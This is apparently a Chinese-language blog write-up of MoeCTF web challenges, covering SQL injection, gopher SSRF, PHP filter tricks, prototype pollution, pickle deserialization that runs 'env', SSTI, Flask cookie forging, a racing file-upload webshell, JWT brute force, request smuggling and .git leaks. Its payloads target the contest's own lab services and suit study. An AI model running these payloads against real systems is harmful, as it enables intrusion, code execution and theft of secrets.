杂鱼时间结束!😋👍❤️moe的入门曲线还是很开心的。
T1-查分系统
一个html静态网页,打开源码搜一下moectf即可
T2-入门指北
这个跳过,自己去找flag就好()
T3-归途
打开环境发现一个神必猫猫丢了,打开源码发现:
1 | <!-- Key2-QDBtNG9k --> |
还有个key1,差点忘了,就说怎么key2开始的:log|console|N2ghNUkkTQ|Key1'.split
尝试访问/getKey?id=3,得到key3:Key3-M0szeUVuKw==,并给出提示:
1 | {"key": "Key3-M0szeUVuKw==", "message": "Do you know url params? Try to get Key4"} |
将参数从3改成4,得到:
1 | {"key": "Key4-ZXJUaDFzbGE=", "message": "Do you know HTTP headers? Check it. Besides, Try to POST this api"} |
发现header里头有个key的键值:Key5-ITkzdA==,之后post请求一下,返回的body部分有如下信息:
1 | {"key": "Key6-ZnwxbGFA", "message": "Try login!"} |
login里头要登录外星人的服务器,还直接给了账号密码,哎呦这个外星人你怎么这么好
得知需要在cookie里加上一些信息,用来登录admin账号,直接在info界面抓包,修改cookie即可:
1 | Key7-NGFAZzY5Nmc5 |
提示我们访问robots.txt,发现Disallow: /f13ggggg,byd这不就是个base64解密吗,我访问你干啥😡
对不起这是用来合成后返回flag的😭猫猫我对不起你
T4-当零来敲门
先跳过,过一阵补坑
T5-查分系统_revenge
T6-MoeCatchTheFrogs
什么,抓青蛙?这不随便抓😋
抓了一会发现最多只能前8只青蛙,这时候我们开始分析这道题,总不能真一直等着第9只蹦出来()
通过bp抓包,容易发现抓青蛙的时候,是向/api/draw这里post一个
1 | Cookie:frog_session=eyJmcm9ncyI6WzAsMSwyLDMsNCw1LDZdfQ.aqINPw.IkrH2buBQwPI0M5UTV0vvnhPzzo |
这个cookie里头包含了frog的session_id,属于flask安全的范畴,而这个三段式cookie应该具有内容.时间戳.签名这样的格式,这里我们只是先要密钥,时间戳大不了重新生成就好。故而在Patricia Of End酱的帮助下,我们得知这采用的是一个弱口令,使用rockyou这个字典进行爆破即可
1 | flask-unsign --decode --cookie "eyJmcm9ncyI6WzAsMSwyLDMsNCw1LDZdfQ.aqINPw.IkrH2buBQwPI0M5UTV0vvnhPzzo" |
密钥出来后,把前头第一段的数组改成[7,8](问就是没抽出来7)重新生成一个签名,然后改好cookie交上去即可
T7-古籍翻阅
本题考察目录穿越
byd这么多天才回过味来,给的catalog附件是当payload使的😭
随便点开一个开始抓包,送给bp攻击器,用payload攻击完,找到200回显即可得到:“其实flag藏在了根目录下,去看看根目录吧”
然后经过锲而不舍的努力发现,访问flag的时候,后头不能加.txt后缀,直接穿越两次就好了出题老头坏🤬🤬🤬
T8-河湖小盗
打开网页,发现是一个数据库检索系统,可以输入数字来获取相关信息,判断为sql数字型注入
库名:
1 | 1 union select 1,database(), schema_name from information_schema.schemata; # |
得到database=past_paper; 有information_schema和performance _schema这两个表
表名:
1 | 1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database(); # |
发现一个flag_table,直接找字段名:
1 | 1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database(); # |
发现一个flag字段,直接输出它:
1 | 1 union select 1,database(),flag from flag_table; # |
得到flag
T9-熊出没
我要吃蜂蜜😋
题目先提示蜂蜜在54321端口,打开环境后发现要输入蜜罐地址,输入后发现毛被夹掉,不行
尝试直接输入该端口,发现
1 | ❌ URL不合法!请输入完整的 URL 地址(需包含协议和主机,例如 gopher://host:port/...)。 |
真就是gopher岭是吧…上网补gopher的课
输入gopher://127.0.0.1:54321,得到回显:
1 | 200 OK |
由伟大的Internet可知,此处考察简单的gopher构造,写一个get方式的http报文,转成gopher的形式提交即可,注意header和body间空一行:
1 | GET /secret-honey |
注意Host后头就是body了,但是本题不需要body,记得多加一个空行即可
转换为URL编码,但是有这么几个坑:
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
即变为:
gopher://127.0.0.1:54321/_GET%20/secret-honey%20HTTP/1.1%0d%0aHost:%20127.0.0.1:54321%0d%0a%0d%0a
提交后得到flag
T10-七狗免费小说
考察php伪协议filter以及zlib
打开发现是小刻的小说,然后想起来天空之上?万米那期剧情没看😭
打开flag章,发现:
Flag 就在上面,只有聪明的人才能看见
剩下的剧情?大概是被小刻吃掉了作者偷懒没放
显然是在注释里头放着,这里直接使用filter伪协议,然后:?
“咬你哦!”怎么还咬人😭亏我把你拉到精290了
打开源码获取提示,发现本题采用preg_match把一下都替换掉了:
1 | <span style="color: #DD0000">'/http|https|env|\.\.|^\/|=\/|index|proc|input|data|convert|string|file/i' |
虽然convert被ban了很不甘心,但是注意到zlib.deflate这个二进制压缩没有ban,我们采用如下payload:
1 | http://127.0.0.1:30582/?file=php://filter/read=zlib.deflate/resource=flag.php |
得到一串二进制流,使用python解码即可:
1 | import zlib,base64 |
之后得到flag
T11-合乎周礼
1.访问api/help,发现:是配置中心,存放网站功能配置
/:即网站本身,是题目描述;/api/me查看当前用户配置
有用信息只有最后一句:“GET /api/flag”: “只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG”
2.post提交后(记得改content-type)发现传回:
1 | { |
nnd怎么给嵌套到profile里头了,感情“代码里的父类也要让子类守好本分、不逾矩”是说的这个意思😭
3.询问llm,得知这道题属于js原型链污染的范畴:
原型链是js中的一个重要概念,大致就是对于任意对象都存在一个公用的父对象,称为原型对象Object.prototype,可以调用它里面的一些方法和属性,而proto就是指向这个原型对象的指针。
这也就解释了一点:原型被所有对象共享,污染一处,处处生效(当然本题并不需要这么多东西)
以上单独出现的proto都是指外面有下划线,长得像魔术方法的那个,md不知道怎么就渲染成加粗了
而本题考点属于 服务端原型链污染(Server-Side Prototype Pollution, SSPP) 下的一个具体分支:
通过
__proto__/constructor.prototype污染Object.prototype,实现属性注入与权限绕过(Privilege Escalation)。
更直白地说:**利用不安全的递归合并(deep merge)污染全局对象原型,让后端在检查 isAdmin、canReadFlag 时从原型链上读到 true。**以下给出ds大人的总结:
- 后端使用了不安全的递归合并/深拷贝(如
lodash.merge、自定义 deep merge 等)。 - 合并函数没有过滤
__proto__、constructor、prototype等键。 - 后续权限校验读取的是
user.isAdmin、user.canReadFlag,且没有用hasOwnProperty检查属性是否属于对象自身。 - 你的输入能够到达这个合并函数(比如通过更新 profile 的接口)。
这时我们通过proto污染原型变量下的两个属性,提交如下payload即可:
1 | { |
T12-日志系统
可以导入导出.pkl文件,通过app.py可知,大概考察蟒蛇中的pickle反序列化漏洞:
在先前,pickle的反序列化可以通过手写/生成一段protocol=0版本的payload来实现(现在也可以,但是似乎记事本默认的编码不成,如果是直接在网页递交应该能成);但在笔者目前使用的python3.14版本中,pickle的版本0,1已经不再可用,故如果需要自动生成payload,可以采用如下脚本:
1 | import pickle |
通过将pkl上传,容易发现环境变量在网页上方的一个预览框中显示,但是在SHA-256显示途中被截断,怀疑是设置了一定的预览限制。这时又注意到题目app.py的附件中部分代码:
1 | # 单个对象 / 其他:把反序列化结果直接展示出来供预览 |
可知预览设置了200个字符的限制,考虑到这比赛中flag一般变量就叫FLAG,我们可以使用以下两种方法:
- 仅输出特定环境变量:printenv FLAG 或者 env | grep ‘^FLAG=’ (从env管道中先读取所有env,再筛选出flag)
- 将所有的环境变量都输出成一个日程表,彩笔笔者借助LLM生成了如下脚本:
1 | import pickle |
其中__import__(‘os’).popen(‘env’).read()等价于:
1 | import os |
不过import的魔术后会直接返回一个名为os的对象,所以可以直接采用.popen的方法,这点和上面的subprocess仍然同理。
这种方法在如题所示的,使用try: \n obj = pickle.loads(data)的时候可用(也就是直接把传入内容反序列化了),由于执行的命令本身作为一个list[]返回,所以默认会通过日程的模块进行输出。
T13-江洋大盗
这道题目显然是前面“河湖小盗”的plus版,考察sql注入。注意到仍然是数字型,且给出了一个blacklist.txt,联合注入等方式不再可用,时间盲注,xml报错等等也不再可用,且被waf时也没有错误信息回显,这里考虑布尔盲注。于是尝试:
1 | 1 and length(database()) > 1 |
得到1(林舟)的正常回显,我们完全可以确定这样的注入语法可行。
对于sql布尔盲注,原理上一般分为一下两大步进行操作:
使用
1 and length(database()) > 1这种length判断键值长度使用
1 and (select ord(substr((database()),<pos>,1))) > 97这样的语句判断各位的字符
于是在造轮子(赤石)精神的指引下,我们最初仿照hello-ctf的指引,写了这么一个脚本:
1 | import requests, string |
我们很开心地尝试这个简单易懂地脚本,手工更改payload进行公式化步骤,发现确实可以做出来题目,但是算下来需要长达约3~4h的运行时间,而彩笔笔者现在不会写二分和多线程,因此我们也可以尝试使用sqlmap进行相关操作。实测只需要线程开到10就可以开心写题了(但是最后flag的字段除外,还不如单线程稳定)
T14-礼崩乐坏
由这个非常熟悉的界面可知,本题给出来了几个公开的api,仍然考察JavaScript原型链污染相关知识。
1.访问api/help,发现仍然是配置中心,还是一个api/me查看用户配置,api/profile来POST一个json配置,仍然需要isAdmin=true 且 canReadFlag=true,关闭该页面(什么啊这不还就是合乎周礼)
2.尝试按合乎周礼的方法复现,使用__proto__污染无果,并没有出现预期的嵌套
3.发现api/profile返回消息:“配置值仅允许布尔值、数字、短字符串或 null”,而__proto__的值为“isAdmin”: ture这个对象,不能直接提交,思考无果后询问LLM可知:
“原型链污染不一定非要传递嵌套对象。关键思路是:把嵌套对象“拍扁”成路径字符串,让后端在解析键名时自己展开成嵌套结构,从而触发原型污染。 此时你提交的值仍然是布尔,符合类型校验。”
4.我们尝试如下扁平字符串:
1 | { |
发现自己少了两个引号,且把true拼写成了ture 会发现json解析失败,对比LLM的:
1 | { |
或者考虑到默认合并到profile下,我们可以加一个profile的前缀:
1 | { |
但是正确的json会报错:此举不合礼制,说明直接拼写__proto__很可能被ban了,我们可以采用constructor.prototype.属性名绕过 ,成功喵,不需要使用unicode转义
1 | { |
这种写法在后端会被解析为:
1 | { |
5.获得flag,周礼已死,原型当立,岁在甲子,????
T15-bblogin
我们看到这个,开始以为又是一个sql()后来发现不对劲,于是再度求助LLM老师,发现本题为一个**SSTI(服务端模板注入)**的题目,遂再次前往helloctf补课
「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把
{{}}包裹的内容当做变量解析替换,所以当我们传入{{表达式}}时,表达式就会被渲染器执行。
我们这里先不写结合魔术方法的具体知识点[(可以点击这里看)](SSTI 注入 | Hello CTF),先简单分析一下这道题目的app.py:
我们注意到,在报错信息这一行有如下代码:
1 | error_html = f'<div class="error"><p>用户{username}登录失败</p></div> |
username被jinja2模板渲染,造成我们开心的SSTI。
如果我们直接使用源码里的admin和看上去很想密码的rea1flag一长串女士登录,是无效的,原因在于它只是个变量名,具体的值由 app.secret_key = secrets.token_hex(32)来随机生成。所以我们需要通过找到使用的密钥,来重新为session[‘token’]=“admin"进行一个类似签名的动作。
我们注意到login函数有如下内容:
1 | if(len(username)>10 or match(".()[]_",username)): |
当username里出现长度大于10,或者有上面几种字符时,将会弹回用户名过长的报错,因此需要考虑构造特定的username绕过过滤,而不是直接使用源码的admin。这里我们可以使用获取到secret_key:
1 | 'SECRET_KEY': '3ce2b109e45f47de12250eff54f377fb014b93e718724df8bd0749c0668b8392' |
我们使用flask-unsign进行签名,得到cookie:
1 | flask-unsign --sign --cookie "{'token':'admin'}" --secret "3ce2b109e45f47de12250eff54f377fb014b93e718724df8bd0749c0668b8392" |
然后带着我们的session=一长串,开心地访问user就可以了🥰出题人善。
T16-我刚一提交就发现了三个问题
已知题目描述:
我在你们这才交了几个文件,我已经发现三个问题了:
首先,(啪啪啪),在线提交,这文件怎么进了你的私人的目录里呢?
第二,这个文件我刚传进去,我还没拿到flag呢,这已经被删了,诶,这说明你们的后端逻辑有问题啊
第三,这个木马已经被我传上去了,这位邪恶的出题人,你怎么不给我flag呢?那请问我怎么才能解题呢?
本题为一道经典的文件上传漏洞题,我们可以准备一个一句话木马(就是你evalcmd),但是考虑到第二个提示,很可能这个木马会被迅速删掉,所以我们上传一个fputs fopen的shell,使用条件竞争的手法不断访问它,让这个shell能够运行生成一个新的木马,大概即可绕过**(黑户没登记不用罚款是这样的**
fputs用来给指定的文件对象写入指定字符串,而fopen用来打开文件(加个w可以以写入模式打开)
我们可以编写如下shell:
1 |
|
之后通过bp进行攻击,再用蚁剑访问private目录中的target.php连接即可。
T17-旧能源管理系统
& &&
T18-黑市走私
P1-JWT签名结构与爆破
我们先按照提示访问/hint,发现给出了“入场券”和“暗语”两个部分。入场券分为HEADER PAYLOAD SIGNATURE三个部分,显然是一个JWT签名;而暗语则显然是secret_key的候选集合。所以我们这里把这些密钥编成一个字典(即下面的secret_keys.txt),开始爆破:
1 | // 这个脚本由hello-ctf提供,笔者决定于今年国庆期间彻底补上ctf要用的python基础。 |
我们发现密钥是fish,大概是受这个出题人自己nickname的影响(),之后改掉payload,重新签好名即可。
P2-http请求走私:CL.TE
我们拿到生成好的JWT,前往黑商1,发现:
交易暗号:先让柜台只看货箱长度,再让后仓按分块清点。 目标货物:/flag1
记得带上能证明你是高级买家的票据。
这段话描述的即为http请求走私,其中“货箱长度”即为CL(Content-Length),而“分块清点”则是Transfer-Encoding,柜台和后舱就是前后端。- > 得出该部分要求以CL.TE的模式进行请求走私,于是我们在一再的试错后,在fish一串字母师傅和dsh的指点下,得出如下报文:
1 | POST /stage1 |
但是对于这段http报文,我们有如下几个注意点:
- CL.TE模式下,由于前端只认content-length,我们需要手动数清楚后面包括0和两个CRLF之后的走私内容,将它们统计到CL里头,从而让前端把他们当作普通的body发出去;而在后端,由于只认TE的分块传输,每个块又以0和两个RLF作为默认截断,后头的请求就会被当作第二个http请求,从而实现走私。
- 对于http发包,我们不能过于依赖浏览器默认发出来的报文,往往只需要用请求,Host,CL,TE,Connection,Cookie等自己需要的部分即可(或者改用curl,笔者决定于近期把这个学会
- 我们在鉴权的时候并不是总用Cookie和session。比如对于JWT的校验,一般情况下就可以使用Authorization: Bearer
,这种方式常见于JWT和Oauth,我们将这个模板的解释放在下面:
“Authorization: Bearer” is an HTTP header format used to transmit access tokens, allowing clients to authenticate and access protected resources securely.
之后我们就能在令人开心的200响应之后,拿到前面半个flag。
P3-http请求走私:TE.TE
我们前往/stage2,发现:
“两边都认识 TE 的名号,可他们读招牌的脾气不同。让前门觉得这不是那张招牌,让后门照常按 TE 的规矩收货。”
交易暗号:Transfer-Encoding 后的空隙,可能就是黑市小巷。 目标货物:/flag2
同样需要高级买家的票据。
“两边都认识TE”并不是说stage1和stage2的关系,结合后文,事实上是指前端和后端都认TE,是典型的TE.TE模式下的请求走私。
T19-七狗收费小说
题目描述:
小刻想把自己的小说库改成收费的,这样就可以赚钱买更多的蜜饼吃啦。所以小刻自学了 Git 和 PHP,刚刚做了个半成品的登录页面。但是,小刻缺少一个 CTFer 的警觉,她把仓库直接放到了生产环境,居然还信任前端传来的任何数据。作为一个 CTFer,你和小刻打赌,如果你找不出小说库的漏洞,就要请她吃一个月的蜜饼……(环境为 PHP 8.2)
也就是说,本题考察git仓库泄露,又提到php,这个位置大概率也要开始考php有趣(赤石)小题目了,[这里附上一个链接](Git工具大全 - CTF-Web修炼手册),笔者自己认为对git泄露的方法讲得不错~~(就是用工具~~,使用githacker的方法自行查阅,这里仅附上知识点相关:
当 Web 服务器的
.git目录可以被访问时,攻击者可以: - 🔓 下载完整源代码 - 📜 查看开发历史和提交记录 - 🔑 发现硬编码的密码、密钥 - 🐛 找到已修复但未公开的漏洞 - 👤 获取开发者信息。常见泄露路径
1
2
3
4
5 http://example.com/.git/
http://example.com/.git/config
http://example.com/.git/HEAD
http://example.com/.git/index
http://example.com/.git/logs/HEAD
我们确认/.git/config和/git/HEAD均可以访问,对小刻的git仓库进行重建和下载,得到index.php中的神奇php代码:
1 | <?php |
php和html原来能一块写,🧠膨胀了(
这个pop链的分析我们贴在这里,其中head就是顺着箭头向下看,end向回走就好,那个–算是当注释用了。应该照这个伪代码不难看懂()
1 | HEAD: cookie:'user' -> base64decode -> $curr_user = unseri( laststep) -> User::__destruct(username==password,secreta=secretb;) -> |
于是我们构造如下poc:
1 |
|
之后把序列化后且base64编码的字符串贴在body部分,flag就会被打印出来了。
– 笔者由于9号开始要去参加本校的招新赛,实在没有精力继续打还有几天就结束的moe(其实就是想摸鱼了),之后可能等moe26上训练场了会进行一个补全计划。笔者充分认识到自己python能力的不足与web不少方面漏洞( XSS CSRF XXE SSRF等没怎么考到的)知识点的欠缺和对RCE等的经验不足。期望能够在今后一段时间内进行补全。
– 本次比赛期间,感谢**Patricia of End**酱的帮助和fish师傅的锤子,希望moe能够越办越好喵。
– 特别感谢来自《放松时光:与你共享Lo-Fi故事》的satone酱❤️头一次感觉自习这么开心喵。
评论